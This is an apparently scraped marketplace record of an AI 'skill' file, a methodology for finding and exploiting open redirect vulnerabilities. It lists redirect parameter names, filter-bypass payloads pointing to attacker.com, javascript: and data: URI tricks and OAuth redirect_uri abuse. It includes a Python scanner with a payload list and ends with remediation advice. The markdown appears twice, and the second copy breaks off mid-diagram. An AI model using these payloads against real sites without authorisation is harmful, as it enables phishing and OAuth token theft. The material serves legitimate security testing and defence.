[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FWFNHG2R7FT6D4S7756W0":3,"skill-same:01M71FWFNHG2R7FT6D4S7756W0":66},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":34,"linkOnly":35,"markdownContent":36,"markdownBody":37,"frontMatter":38,"refName":39,"commitSha":40,"skillDirectory":41,"forksCount":14,"repositoryHtmlUrl":42,"repositoryHomepageUrl":6,"ownerHtmlUrl":43,"ownerBlogUrl":6,"ownerDescription":44,"updatedAt":45,"install":46,"resources":59},"01M71FWFNHG2R7FT6D4S7756W0","offensive-open-redirect",null,"- For mobile deep links, validate package\u002Fbundle IDs and enforce App Links\u002FUniversal Links verification.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-open-redirect\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33],"offensive open redirect","open","offensive","app","deep","ids","cybersecurity","verification","mobile","links","for","enforce","package","validate","bundle","2026-11-10 10:12:30",false,"---\nname: offensive-open-redirect\ndescription: \"- For mobile deep links, validate package\u002Fbundle IDs and enforce App Links\u002FUniversal Links verification.\"\ndomain: cybersecurity\n---\n\n## Full Methodology\n\n# Open Redirect Vulnerabilities\n\n## Shortcut\n\n- Search for redirect URL parameters. These might be vulnerable to parameter based open redirect.\n- Search for pages that perform referer based redirect. These are candidates for a referer based open redirect.\n- Test the pages and parameters you've found for open redirect.\n- If the server blocks the open redirect, try the protection bypass techniques mentioned before.\n- Brainstorm ways of using the open redirect in your other bug chains.\n\n## Mechanisms\n\nOpen redirect vulnerabilities occur when web applications improperly validate user-supplied URLs used for redirections. These vulnerabilities allow attackers to craft links that appear legitimate but redirect victims to malicious websites. When exploited, the victim initially connects to a trusted domain, giving the malicious link an appearance of legitimacy, before being redirected to an attacker-controlled destination.\n\n```mermaid\nsequenceDiagram\n    participant Victim\n    participant TrustedSite\n    participant AttackerSite\n\n    Victim->>TrustedSite: Click malicious link\u003Cbr\u002F>trusted.com\u002Fredirect?url=evil.com\n    Note over TrustedSite: Inadequate URL validation\n    TrustedSite->>Victim: HTTP 302 Redirect to evil.com\n    Victim->>AttackerSite: Automatic redirect\n    AttackerSite->>Victim: Malicious content\n```\n\nThe core technical flaws leading to open redirects include:\n\n- **Insufficient URL Validation**: Failure to properly validate redirect targets\n- **Improper Allowlist Implementation**: Flawed validation logic that can be bypassed\n- **Inadequate Sanitization**: Incorrect handling of special characters or encoding\n- **Trusting Client-Side Input**: Using user-supplied parameters for redirection without verification\n\n### Notes\n\n- Browsers restrict `javascript:` navigations from cross-origin contexts more, but many apps forward redirects to clients; validate server-side before emitting 3xx.\n- OAuth\u002FSSO stacks increasingly require exact `redirect_uri` match; test for partial\u002Fpath-only allowlists and case\u002Fencoding mismatches.\n- Mobile deep links: open redirects can escalate to app link hijack; test `intent:` URLs on Android and iOS universal link fallbacks.\n\n### Modern Browser Behaviors\n\n- **Chrome 120+ Restrictions**: Enhanced protection against cross-site redirects; test if app relies on specific redirect chains\n- **SameSite Cookie Implications**: `SameSite=Lax` default affects redirect flows; test authentication state preservation\n- **Referrer-Policy Impact**: `no-referrer` or `strict-origin` may break redirect detection; test logging\u002Fanalytics dependencies\n- **COOP\u002FCOEP Headers**: Cross-Origin-Opener-Policy can break popup-based OAuth flows\n- **Fenced Frames**: New iframe replacement affects redirect chains in isolated contexts\n\nOpen redirects can exist in various implementation patterns:\n\n- **URL Parameter Redirects**: Explicit redirect parameters (e.g., `?redirect=`, `?url=`, `?next=`)\n- **Path-Based Redirects**: URL paths that trigger redirects (e.g., `\u002Fredirect\u002Fhttps:\u002F\u002Fexample.com`)\n- **Referer-Based Redirects**: Redirects based on the HTTP Referer header\n- **Post-Authentication Redirects**: Return URLs after login or authentication flows\n- **URL Shorteners**: Services that redirect to expanded URLs\n- **Framework Redirector Endpoints**: Dedicated redirection functionality in web frameworks\n\n## Hunt\n\n### Identifying Open Redirect Vulnerabilities\n\n#### Target Discovery\n\n1. **Identify Redirection Parameters**:\n   - Common redirect parameter names:\n     ```\n     redirect, redirect_to, url, link, goto, return, returnTo, destination,\n     next, checkout, checkout_url, continue, return_path, return_url,\n     forward, path, redir, redirect_uri, view, img_url, image_url, load_url\n     ```\n\n2. **Find Redirection Endpoints**:\n   - Social login integrations\n   - Authentication flows\n   - Payment gateways\n   - \"Share\" functionality\n   - URL shorteners\n   - SSO implementations\n   - File\u002Fresource access endpoints\n\n3. **Search Code and Documentation**:\n   - Review JavaScript for redirect functions\n   - Check for framework-specific redirect endpoints\n   - Analyze HTTP 3xx response patterns\n\n#### Testing Methodologies\n\n1. **Basic Open Redirect Testing**:\n   - Test with absolute URLs:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     https:\u002F\u002Ftarget.com\u002Fredirect?next=https:\u002F\u002Fattacker.com\n     ```\n   - Test with protocol-relative URLs:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fattacker.com\n     ```\n   - Test with relative path traversal:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n\n2. **Referer-Based Open Redirect Testing**:\n   - Identify pages that redirect based on Referer header\n   - Modify Referer header to external domains\n   - Test login\u002Flogout pages with custom Referer values\n\n3. **OAuth Redirect Testing**:\n   - Identify OAuth implementation redirect_uri parameters\n   - Test for improper validation:\n     ```\n     https:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT_ID&redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n\n## Bypass Techniques\n\n```mermaid\ngraph TD\n    subgraph \"Open Redirect Bypass Techniques\"\n    A[Validation Bypasses] --> B[Domain Spoofing]\n    A --> C[Encoding Bypasses]\n    A --> D[Protocol Confusion]\n    A --> E[Path-Based Bypasses]\n    A --> F[Special Character Abuse]\n\n    B --> B1[\"target.com.attacker.com\"]\n    B --> B2[\"attacker.com?target.com\"]\n\n    C --> C1[\"URL Encoding: %68%74%74%70%73...\"]\n    C --> C2[\"Double Encoding\"]\n\n    D --> D1[\"javascript:alert(1)\"]\n    D --> D2[\"data:text\u002Fhtml;base64,...\"]\n\n    E --> E1[\"\u002F\u002F\u002F\u002Fattacker.com\"]\n    E --> E2[\"\u002F\\\u002Fattacker.com\"]\n\n    F --> F1[\"target.com@attacker.com\"]\n    F --> F2[\"attacker.com#target.com\"]\n    end\n```\n\n### Domain Spoofing Techniques\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.attacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com?target.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattackertarget.com\n```\n\n### CDN\u002FReverse Proxy Quirks\n\n- Mixed scheme parsing (https;\u002F) accepted upstream but normalized downstream.\n- Double decode at different layers (edge vs. origin) enabling `%252F` style bypass.\n- Header-driven redirects (X-Original-URL, X-Forwarded-Proto) abused through misconfigured proxies.\n\n### Encoding Bypass Techniques\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d\n```\n\n### Protocol Confusion Bypasses\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https;\u002Fattacker.com\n```\n\n### Path-Based Bypasses\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\\u002Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002F\u002F\u002Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\\\u002F\\\u002Fattacker.com\u002F\n```\n\n### Special Character Abuse\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@attacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com#target.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com\\@target.com\n```\n\n## Vulnerabilities\n\n### Common Open Redirect Vulnerability Patterns\n\n#### Implementation-Specific Vulnerabilities\n\n1. **Framework Redirector Vulnerabilities**:\n   - **Spring MVC**: Improper handling of the `url` parameter\n     ```\n     \u002Fspring\u002Flogin?url=https:\u002F\u002Fattacker.com\n     ```\n   - **Laravel**: Unvalidated redirect in `redirect()` helper\n     ```\n     \u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n   - **Express.js**: Unvalidated `res.redirect()` calls\n     ```\n     \u002Flogin?redirect=https:\u002F\u002Fattacker.com\n     ```\n   - **Next.js (App Router)**: Server Actions redirect abuse\n     ```\n     \u002F\u002F Test Server Action redirect injection\n     \u002Fapi\u002Faction?redirect=https:\u002F\u002Fattacker.com\n     ```\n   - **SvelteKit**: `goto()` and `redirect()` manipulation\n     ```\n     \u002F\u002F Test in hooks.server.ts\n     \u002Fauth\u002Fcallback?redirectTo=https:\u002F\u002Fattacker.com\n     ```\n   - **Remix**: loader\u002Faction redirect injection\n     ```\n     \u002Flogin?redirectTo=https:\u002F\u002Fattacker.com\n     ```\n   - **Astro**: redirect() in API routes\n     ```\n     \u002Fapi\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n\n2. **OAuth Implementation Vulnerabilities**:\n   - **Implicit Flow Redirect**: Missing validation in `redirect_uri`\n     ```\n     \u002Foauth\u002Fauthorize?response_type=token&redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n   - **Authorization Code Flow**: Improper `state` parameter handling\n     ```\n     \u002Foauth\u002Fcallback?code=ABC123&state=https:\u002F\u002Fattacker.com\n     ```\n\n3. **Social Login Vulnerabilities**:\n   - **Facebook Login**: Unvalidated return_url parameter\n     ```\n     \u002Flogin\u002Ffacebook\u002Fcallback?return_url=https:\u002F\u002Fattacker.com\n     ```\n   - **Google OAuth**: Improper redirect_uri validation\n     ```\n     \u002Fauth\u002Fgoogle\u002Fcallback?redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n\n### Impact Scenarios\n\n```mermaid\ngraph LR\n    subgraph \"Open Redirect Impact Scenarios\"\n    A[Open Redirect] --> B[Phishing Attacks]\n    A --> C[CSRF Augmentation]\n    A --> D[Advanced Attack Chains]\n\n    B --> B1[Domain Credibility Abuse]\n    B --> B2[Context-Aware Phishing]\n\n    C --> C1[Redirect Chaining]\n    C --> C2[Login CSRF]\n\n    D --> D1[XSS via Redirect]\n    D --> D2[SSRF via Redirect]\n    D --> D3[OAuth Token Theft]\n    end\n```\n\n#### Phishing Attack Vectors\n\n- **Domain Credibility Abuse**: Leveraging trusted domain for phishing\n- **Session Fixation Enhancement**: Combining with session fixation attacks\n- **Context-Aware Phishing**: Using information from the original site\n\n#### CSRF Augmentation\n\n- **Redirect Chaining**: Creating multi-step attack chains\n- **Login CSRF**: Forcing login to attacker-controlled accounts\n\n#### Advanced Attack Chains\n\n- **XSS via Open Redirect**: Using JavaScript URIs for XSS\n  ```\n  https:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.cookie)\n  ```\n- **SSRF via Open Redirect**: Internal service access\n  ```\n  https:\u002F\u002Ftarget.com\u002Fredirect?url=http:\u002F\u002Finternal-service\u002Fadmin\n  ```\n- **OAuth Token Theft**: Stealing OAuth tokens via redirect_uri manipulation\n\n## Methodologies\n\n### Tools\n\n#### Open Redirect Detection Tools\n\n- **OWASP ZAP**: Open redirect scanner\n- **Burp Suite**: Collaborator for testing blind redirects\n- **OpenRedireX**: Specialized open redirect testing tool\n- **Gxss**: Tool to check for redirect XSS\n- **Waybackurls**: For discovering historical redirect endpoints\n- **Param Spider**: For discovering URL parameters\n\n#### Custom Detection Scripts\n\n```python\nimport requests\nfrom urllib.parse import urlparse\n\ndef test_open_redirect(target_url, redirect_param, payloads):\n    for payload in payloads:\n        test_url = f\"{target_url}{redirect_param}={payload}\"\n        try:\n            # Disable redirects to manually check\n            response = requests.get(test_url, allow_redirects=False, timeout=10)\n            if response.status_code in [301, 302, 303, 307, 308]:\n                location = response.headers.get('Location', '')\n                parsed = urlparse(location)\n                if parsed.netloc and parsed.netloc not in target_domain:\n                    print(f\"Potential Open Redirect: {test_url} -> {location}\")\n        except Exception as e:\n            print(f\"Error testing {test_url}: {e}\")\n\n# Target website\ntarget_url = \"https:\u002F\u002Ftarget.com\u002Fredirect?\"\ntarget_domain = \"target.com\"\nredirect_param = \"url\"\n\n# Common bypass payloads\npayloads = [\n    \"https:\u002F\u002Fattacker.com\",\n    \"\u002F\u002Fattacker.com\",\n    \"https%3A%2F%2Fattacker.com\",\n    \"\u002F\\\u002Fattacker.com\",\n    \"https:\u002F\u002Ftarget.com@attacker.com\",\n    \"https:\u002F\u002Ftarget.com.attacker.com\",\n    \"javascript:alert(document.domain)\"\n]\n\ntest_open_redirect(target_url, redirect_param, payloads)\n```\n\n### Testing Strategies\n\n```mermaid\nflowchart TD\n    A[Open Redirect Testing Strategy] --> B[Discovery Phase]\n    A --> C[Initial Testing]\n    A --> D[Bypass Testing]\n    A --> E[Exploitation]\n    A --> F[Documentation]\n\n    B --> B1[Map redirect functionality]\n    B --> B2[Identify parameters]\n    B --> B3[Review source code]\n\n    C --> C1[Test basic payloads]\n    C --> C2[Observe behavior]\n\n    D --> D1[Test domain validation bypasses]\n    D --> D2[Test encoding bypasses]\n\n    E --> E1[Create PoC exploits]\n    E --> E2[Chain with other vulnerabilities]\n\n    F --> F1[Document vulnerable endpoints]\n    F --> F2[Note successful bypasses]\n```\n\n#### Comprehensive Open Redirect Testing Process\n\n1. **Discovery Phase**:\n   - Map all redirection functionality\n   - Identify redirect parameters through:\n     - Manual testing\n     - Automated crawling\n     - Source code review\n     - Parameter discovery tools\n\n2. **Initial Testing Phase**:\n   - Test basic payload patterns:\n     ```\n     ?redirect=https:\u002F\u002Fattacker.com\n     ?redirect=\u002F\u002Fattacker.com\n     ?redirect=\\\u002F\\\u002Fattacker.com\n     ```\n   - Observe redirection behavior\n   - Document instances of successful redirects\n\n3. **Bypass Testing Phase**:\n   - Test against identified protection mechanisms:\n     - Domain validation bypasses\n     - Encoding bypasses\n     - Protocol bypasses\n     - Path manipulation bypasses\n\n4. **Exploitation Phase**:\n   - Create proof-of-concept exploits\n   - Chain with other vulnerabilities where possible\n   - Demonstrate potential impact scenarios\n\n5. **Documentation Phase**:\n   - Document vulnerable parameters and endpoints\n   - Note successful bypass techniques\n   - Provide clear reproduction steps\n\n### Real-World Testing Examples\n\n#### OAuth Redirect Testing\n\n1. Identify OAuth implementation\n2. Locate redirect_uri parameter\n3. Test various redirect_uri values:\n   - https:\u002F\u002Fattacker.com\n   - https:\u002F\u002Ftarget.com.attacker.com\n   - https:\u002F\u002Ftargetattacker.com\n4. Check for token leakage in the redirection\n\n#### Post-Authentication Redirect Testing\n\n1. Authenticate to the application\n2. Identify post-login redirects\n3. Test redirect parameters with different formats:\n   - Absolute URLs: `https:\u002F\u002Fattacker.com`\n   - Relative with protocol: `\u002F\u002Fattacker.com`\n   - Encoded values: `%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d`\n\n#### URL Shortener Testing\n\n1. Identify URL shortening functionality\n2. Submit malicious URLs for shortening\n3. Test shortening of various payload formats:\n   - javascript:alert(1)\n   - data: URLs\n   - Protocol-less URLs: \u002F\u002Fattacker.com\n\n## Remediation Recommendations\n\n- **Implement Proper Validation**:\n  - Use allowlists of permitted domains\n  - Validate using server-side logic (not client-side)\n  - Implement URI parsing libraries for proper validation\n\n- **Use Indirect References**:\n  - Instead of directly using user input for redirects, map to server-side values\n  - Example: Use numeric IDs that map to pre-approved URLs\n\n- **Implement Safe Redirect Patterns**:\n  - Create a warning page for external redirects\n  - Include clear indicators of leaving the site\n  - Add visual cues for external navigation\n\n- **Technical Controls**:\n  - Validate protocol (only http\u002Fhttps)\n  - Validate domain against allowlist\n  - Use full URL parsing rather than simple string checks\n  - Implement CSRF protection for redirect endpoints\n  - For mobile deep links, validate package\u002Fbundle IDs and enforce App Links\u002FUniversal Links verification.\n","## Full Methodology\n\n# Open Redirect Vulnerabilities\n\n## Shortcut\n\n- Search for redirect URL parameters. These might be vulnerable to parameter based open redirect.\n- Search for pages that perform referer based redirect. These are candidates for a referer based open redirect.\n- Test the pages and parameters you've found for open redirect.\n- If the server blocks the open redirect, try the protection bypass techniques mentioned before.\n- Brainstorm ways of using the open redirect in your other bug chains.\n\n## Mechanisms\n\nOpen redirect vulnerabilities occur when web applications improperly validate user-supplied URLs used for redirections. These vulnerabilities allow attackers to craft links that appear legitimate but redirect victims to malicious websites. When exploited, the victim initially connects to a trusted domain, giving the malicious link an appearance of legitimacy, before being redirected to an attacker-controlled destination.\n\n```mermaid\nsequenceDiagram\n    participant Victim\n    participant TrustedSite\n    participant AttackerSite\n\n    Victim->>TrustedSite: Click malicious link\u003Cbr\u002F>trusted.com\u002Fredirect?url=evil.com\n    Note over TrustedSite: Inadequate URL validation\n    TrustedSite->>Victim: HTTP 302 Redirect to evil.com\n    Victim->>AttackerSite: Automatic redirect\n    AttackerSite->>Victim: Malicious content\n```\n\nThe core technical flaws leading to open redirects include:\n\n- **Insufficient URL Validation**: Failure to properly validate redirect targets\n- **Improper Allowlist Implementation**: Flawed validation logic that can be bypassed\n- **Inadequate Sanitization**: Incorrect handling of special characters or encoding\n- **Trusting Client-Side Input**: Using user-supplied parameters for redirection without verification\n\n### Notes\n\n- Browsers restrict `javascript:` navigations from cross-origin contexts more, but many apps forward redirects to clients; validate server-side before emitting 3xx.\n- OAuth\u002FSSO stacks increasingly require exact `redirect_uri` match; test for partial\u002Fpath-only allowlists and case\u002Fencoding mismatches.\n- Mobile deep links: open redirects can escalate to app link hijack; test `intent:` URLs on Android and iOS universal link fallbacks.\n\n### Modern Browser Behaviors\n\n- **Chrome 120+ Restrictions**: Enhanced protection against cross-site redirects; test if app relies on specific redirect chains\n- **SameSite Cookie Implications**: `SameSite=Lax` default affects redirect flows; test authentication state preservation\n- **Referrer-Policy Impact**: `no-referrer` or `strict-origin` may break redirect detection; test logging\u002Fanalytics dependencies\n- **COOP\u002FCOEP Headers**: Cross-Origin-Opener-Policy can break popup-based OAuth flows\n- **Fenced Frames**: New iframe replacement affects redirect chains in isolated contexts\n\nOpen redirects can exist in various implementation patterns:\n\n- **URL Parameter Redirects**: Explicit redirect parameters (e.g., `?redirect=`, `?url=`, `?next=`)\n- **Path-Based Redirects**: URL paths that trigger redirects (e.g., `\u002Fredirect\u002Fhttps:\u002F\u002Fexample.com`)\n- **Referer-Based Redirects**: Redirects based on the HTTP Referer header\n- **Post-Authentication Redirects**: Return URLs after login or authentication flows\n- **URL Shorteners**: Services that redirect to expanded URLs\n- **Framework Redirector Endpoints**: Dedicated redirection functionality in web frameworks\n\n## Hunt\n\n### Identifying Open Redirect Vulnerabilities\n\n#### Target Discovery\n\n1. **Identify Redirection Parameters**:\n   - Common redirect parameter names:\n     ```\n     redirect, redirect_to, url, link, goto, return, returnTo, destination,\n     next, checkout, checkout_url, continue, return_path, return_url,\n     forward, path, redir, redirect_uri, view, img_url, image_url, load_url\n     ```\n\n2. **Find Redirection Endpoints**:\n   - Social login integrations\n   - Authentication flows\n   - Payment gateways\n   - \"Share\" functionality\n   - URL shorteners\n   - SSO implementations\n   - File\u002Fresource access endpoints\n\n3. **Search Code and Documentation**:\n   - Review JavaScript for redirect functions\n   - Check for framework-specific redirect endpoints\n   - Analyze HTTP 3xx response patterns\n\n#### Testing Methodologies\n\n1. **Basic Open Redirect Testing**:\n   - Test with absolute URLs:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     https:\u002F\u002Ftarget.com\u002Fredirect?next=https:\u002F\u002Fattacker.com\n     ```\n   - Test with protocol-relative URLs:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fattacker.com\n     ```\n   - Test with relative path traversal:\n     ```\n     https:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n\n2. **Referer-Based Open Redirect Testing**:\n   - Identify pages that redirect based on Referer header\n   - Modify Referer header to external domains\n   - Test login\u002Flogout pages with custom Referer values\n\n3. **OAuth Redirect Testing**:\n   - Identify OAuth implementation redirect_uri parameters\n   - Test for improper validation:\n     ```\n     https:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT_ID&redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n\n## Bypass Techniques\n\n```mermaid\ngraph TD\n    subgraph \"Open Redirect Bypass Techniques\"\n    A[Validation Bypasses] --> B[Domain Spoofing]\n    A --> C[Encoding Bypasses]\n    A --> D[Protocol Confusion]\n    A --> E[Path-Based Bypasses]\n    A --> F[Special Character Abuse]\n\n    B --> B1[\"target.com.attacker.com\"]\n    B --> B2[\"attacker.com?target.com\"]\n\n    C --> C1[\"URL Encoding: %68%74%74%70%73...\"]\n    C --> C2[\"Double Encoding\"]\n\n    D --> D1[\"javascript:alert(1)\"]\n    D --> D2[\"data:text\u002Fhtml;base64,...\"]\n\n    E --> E1[\"\u002F\u002F\u002F\u002Fattacker.com\"]\n    E --> E2[\"\u002F\\\u002Fattacker.com\"]\n\n    F --> F1[\"target.com@attacker.com\"]\n    F --> F2[\"attacker.com#target.com\"]\n    end\n```\n\n### Domain Spoofing Techniques\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.attacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com?target.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattackertarget.com\n```\n\n### CDN\u002FReverse Proxy Quirks\n\n- Mixed scheme parsing (https;\u002F) accepted upstream but normalized downstream.\n- Double decode at different layers (edge vs. origin) enabling `%252F` style bypass.\n- Header-driven redirects (X-Original-URL, X-Forwarded-Proto) abused through misconfigured proxies.\n\n### Encoding Bypass Techniques\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d\n```\n\n### Protocol Confusion Bypasses\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https;\u002Fattacker.com\n```\n\n### Path-Based Bypasses\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\\u002Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002F\u002F\u002Fattacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=\\\u002F\\\u002Fattacker.com\u002F\n```\n\n### Special Character Abuse\n\n```\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@attacker.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com#target.com\nhttps:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fattacker.com\\@target.com\n```\n\n## Vulnerabilities\n\n### Common Open Redirect Vulnerability Patterns\n\n#### Implementation-Specific Vulnerabilities\n\n1. **Framework Redirector Vulnerabilities**:\n   - **Spring MVC**: Improper handling of the `url` parameter\n     ```\n     \u002Fspring\u002Flogin?url=https:\u002F\u002Fattacker.com\n     ```\n   - **Laravel**: Unvalidated redirect in `redirect()` helper\n     ```\n     \u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n   - **Express.js**: Unvalidated `res.redirect()` calls\n     ```\n     \u002Flogin?redirect=https:\u002F\u002Fattacker.com\n     ```\n   - **Next.js (App Router)**: Server Actions redirect abuse\n     ```\n     \u002F\u002F Test Server Action redirect injection\n     \u002Fapi\u002Faction?redirect=https:\u002F\u002Fattacker.com\n     ```\n   - **SvelteKit**: `goto()` and `redirect()` manipulation\n     ```\n     \u002F\u002F Test in hooks.server.ts\n     \u002Fauth\u002Fcallback?redirectTo=https:\u002F\u002Fattacker.com\n     ```\n   - **Remix**: loader\u002Faction redirect injection\n     ```\n     \u002Flogin?redirectTo=https:\u002F\u002Fattacker.com\n     ```\n   - **Astro**: redirect() in API routes\n     ```\n     \u002Fapi\u002Fredirect?url=https:\u002F\u002Fattacker.com\n     ```\n\n2. **OAuth Implementation Vulnerabilities**:\n   - **Implicit Flow Redirect**: Missing validation in `redirect_uri`\n     ```\n     \u002Foauth\u002Fauthorize?response_type=token&redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n   - **Authorization Code Flow**: Improper `state` parameter handling\n     ```\n     \u002Foauth\u002Fcallback?code=ABC123&state=https:\u002F\u002Fattacker.com\n     ```\n\n3. **Social Login Vulnerabilities**:\n   - **Facebook Login**: Unvalidated return_url parameter\n     ```\n     \u002Flogin\u002Ffacebook\u002Fcallback?return_url=https:\u002F\u002Fattacker.com\n     ```\n   - **Google OAuth**: Improper redirect_uri validation\n     ```\n     \u002Fauth\u002Fgoogle\u002Fcallback?redirect_uri=https:\u002F\u002Fattacker.com\n     ```\n\n### Impact Scenarios\n\n```mermaid\ngraph LR\n    subgraph \"Open Redirect Impact Scenarios\"\n    A[Open Redirect] --> B[Phishing Attacks]\n    A --> C[CSRF Augmentation]\n    A --> D[Advanced Attack Chains]\n\n    B --> B1[Domain Credibility Abuse]\n    B --> B2[Context-Aware Phishing]\n\n    C --> C1[Redirect Chaining]\n    C --> C2[Login CSRF]\n\n    D --> D1[XSS via Redirect]\n    D --> D2[SSRF via Redirect]\n    D --> D3[OAuth Token Theft]\n    end\n```\n\n#### Phishing Attack Vectors\n\n- **Domain Credibility Abuse**: Leveraging trusted domain for phishing\n- **Session Fixation Enhancement**: Combining with session fixation attacks\n- **Context-Aware Phishing**: Using information from the original site\n\n#### CSRF Augmentation\n\n- **Redirect Chaining**: Creating multi-step attack chains\n- **Login CSRF**: Forcing login to attacker-controlled accounts\n\n#### Advanced Attack Chains\n\n- **XSS via Open Redirect**: Using JavaScript URIs for XSS\n  ```\n  https:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.cookie)\n  ```\n- **SSRF via Open Redirect**: Internal service access\n  ```\n  https:\u002F\u002Ftarget.com\u002Fredirect?url=http:\u002F\u002Finternal-service\u002Fadmin\n  ```\n- **OAuth Token Theft**: Stealing OAuth tokens via redirect_uri manipulation\n\n## Methodologies\n\n### Tools\n\n#### Open Redirect Detection Tools\n\n- **OWASP ZAP**: Open redirect scanner\n- **Burp Suite**: Collaborator for testing blind redirects\n- **OpenRedireX**: Specialized open redirect testing tool\n- **Gxss**: Tool to check for redirect XSS\n- **Waybackurls**: For discovering historical redirect endpoints\n- **Param Spider**: For discovering URL parameters\n\n#### Custom Detection Scripts\n\n```python\nimport requests\nfrom urllib.parse import urlparse\n\ndef test_open_redirect(target_url, redirect_param, payloads):\n    for payload in payloads:\n        test_url = f\"{target_url}{redirect_param}={payload}\"\n        try:\n            # Disable redirects to manually check\n            response = requests.get(test_url, allow_redirects=False, timeout=10)\n            if response.status_code in [301, 302, 303, 307, 308]:\n                location = response.headers.get('Location', '')\n                parsed = urlparse(location)\n                if parsed.netloc and parsed.netloc not in target_domain:\n                    print(f\"Potential Open Redirect: {test_url} -> {location}\")\n        except Exception as e:\n            print(f\"Error testing {test_url}: {e}\")\n\n# Target website\ntarget_url = \"https:\u002F\u002Ftarget.com\u002Fredirect?\"\ntarget_domain = \"target.com\"\nredirect_param = \"url\"\n\n# Common bypass payloads\npayloads = [\n    \"https:\u002F\u002Fattacker.com\",\n    \"\u002F\u002Fattacker.com\",\n    \"https%3A%2F%2Fattacker.com\",\n    \"\u002F\\\u002Fattacker.com\",\n    \"https:\u002F\u002Ftarget.com@attacker.com\",\n    \"https:\u002F\u002Ftarget.com.attacker.com\",\n    \"javascript:alert(document.domain)\"\n]\n\ntest_open_redirect(target_url, redirect_param, payloads)\n```\n\n### Testing Strategies\n\n```mermaid\nflowchart TD\n    A[Open Redirect Testing Strategy] --> B[Discovery Phase]\n    A --> C[Initial Testing]\n    A --> D[Bypass Testing]\n    A --> E[Exploitation]\n    A --> F[Documentation]\n\n    B --> B1[Map redirect functionality]\n    B --> B2[Identify parameters]\n    B --> B3[Review source code]\n\n    C --> C1[Test basic payloads]\n    C --> C2[Observe behavior]\n\n    D --> D1[Test domain validation bypasses]\n    